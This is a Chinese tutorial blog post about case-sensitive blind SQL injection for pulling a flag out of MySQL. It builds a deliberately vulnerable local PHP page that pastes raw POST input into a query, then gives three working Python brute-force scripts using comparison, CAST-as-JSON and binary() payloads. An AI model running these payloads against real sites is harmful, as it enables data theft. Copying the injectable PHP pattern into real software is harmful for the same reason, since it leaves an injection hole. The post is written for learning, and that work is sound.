flag区分大小写的sql盲注
时间:2022-07-22
本文章向大家介绍flag区分大小写的sql盲注,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
环境搭建
先自己创建两个数据表。
然后自己搭建一个极其简单的mysql查询网页。
网页代码:
#sql.php
<!DOCTYPE html>
<html>
<head>
<title>ezsqli</title>
</head>
<body>
<form action="" method="POST">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>
<?php
if ($_POST['id']!='') {
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = 'root'; // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if (!$conn) {
die('连接失败: ' . mysqli_error($conn));
}
// 设置编码,防止中文乱码
mysqli_query($conn, "set names utf8");
$test = $_POST['id'];
$sql = "select number from math where id=$test";
mysqli_select_db($conn, 'test');
$retval = mysqli_query($conn, $sql);
if (!$retval) {
die('无法读取数据: ' . mysqli_error($conn));
} else {
$row = mysqli_fetch_array($retval);
echo $row['number'];
}
mysqli_close($conn);
}
?>
不区分大小写测试
测试代码:
import requests
url = 'http://localhost/sql.php'
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
flag = ''
for i in range(1,20):
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = '2||((select 1,{})<(select * from test))'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
if 'two' in r.text:
flag += chr(char-1)#这个可以用知道select ’f’<’flag’;和select ‘flag’<’flag’;就明白
print(flag)
break
print((flag[:-1] + chr(ord(flag[-1]) + 1)).lower())#这个是必须的,道理和上面一样
结果:
可以看到不区分大小写,而且都会转化为大写。这个是因为MySQL不区分大小写,而且大写字符的ASCII码都比小写的小。
区分大小写
1.CAST(‘0’as json)
import requests
import string
url = 'http://localhost/sql.php'
def test():
str1 = string.punctuation[0:15] + '0123456789' + string.punctuation[15:22] + string.ascii_uppercase + string.punctuation[22:28] + string.ascii_lowercase + string.punctuation[28:]
str1 = str1.replace("'", "").replace('"', '').replace('\', '')
print(str1)
flag = ''
for j in range(1,20):#如果flag太长,按照自己需要可以多循环几次
for s in str1:
s = flag+s
paylaod = "2||((select 1,concat('{}~',CAST('0' as json))) < (select * from test))".format(s)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'two' in r.text:
flag=s
#print(r.text)
print(flag)
break
if __name__ == '__main__':
test()
结果:
MySQL中的JSON对象是二进制对象,因此cast(0 as json)回返回二进制’0’。也就是相当于”select ‘f0’<’flag’;”,而且’f0’是二进制数据。
2.binary()
import requests
import string
url = 'http://localhost/sql.php'
str1 =string.punctuation[0:15]+'0123456789'+string.punctuation[15:22]+string.ascii_uppercase+string.punctuation[22:28]+string.ascii_lowercase+string.punctuation[28:]
str1=str1.replace("'","").replace('"','').replace('\','')
print(str1)
flag = ''
for j in range(1, 20):#如果flag太长,按照自己需要可以多循环几次
for i in str1:
sql = flag + i
paylaod = "2||((select 1,binary('{}')) < (select * from test))".format(sql)
# print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url, data=data)
if 'two' in r.text:
flag += chr(ord(i) - 1)
# print(r.text)
print(flag)
break
print(flag[:-1] + chr(ord(flag[-1]) + 1))
结果:
原理同上面一样。
总结:
原理很简单,我只是跟着大佬学习一下。需要注意的是,代码中str1的字符的顺序一定要按照ASCII码从小到大排序(这个坑了我好久)。”select ‘f’<’flag’;”和”select ‘falg’<’flag’;”的区别容易被忽略(说的就是我自己)。如果有更好的可以自己试试,原理就是这样。还请大佬指点。
- 面试时对方问你,“xxx需求你是怎么做的”?你可以这样回答
- vue.js的条件渲染,其实就是模板里面写if else
- vue.js的插槽 - slot 是啥?要我说,它就是个“形参”
- Vue2.0,lifeCycle ['laɪfˌsaɪkl] -- 生命周期大白话~
- 什么生命周期,在我看来就是各种回调 &&电商项目作业检查 -- 张xx
- 小知识点 -- nodejs中的console.log打印输出在哪里?
- 学js少看书肯定是不成的,要多看。
- 抽象是啥?就是一群人的特征;js中的call是啥?就是我想用你家的电饭锅
- 从node事件到观察者 -- 学习要有一根线索
- Joy:一款用于捕获和分析网络内部流量数据的工具
- 老尚,能讲讲闭包么?“可以,没问题,马上”
- PHP代码安全杂谈
- angularJs,请问vue是你失散多年的亲人吗?
- 无监督学习神经网络——自编码
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Head First设计模式——模板方法模式
- Head First设计模式——迭代器模式
- PR工具自带的电源网络分析功能靠谱吗?
- flask_admin使用教程
- C#使用FtpWebRequest 基础连接已经关闭:连接被意外关闭(The underlying connection was closed:The connection was closed u
- 自动化运维实践 | Ansible入门
- 通过设置JDK解决存在多个Gradle后台进程的问题
- Head First设计模式——组合模式
- mmap概述
- 什么是计算机程序?操作系统、指令、进程、线程等
- Head First设计模式——状态模式
- Head First设计模式——代理模式
- [Maven]告警[WARNING] Unable to create Maven project from repository.
- Head First设计模式——复合模式
- [System.currentTimeMillis]/[Calendar.getInstance().getTimeInMillis()]/[new Date().getTime()]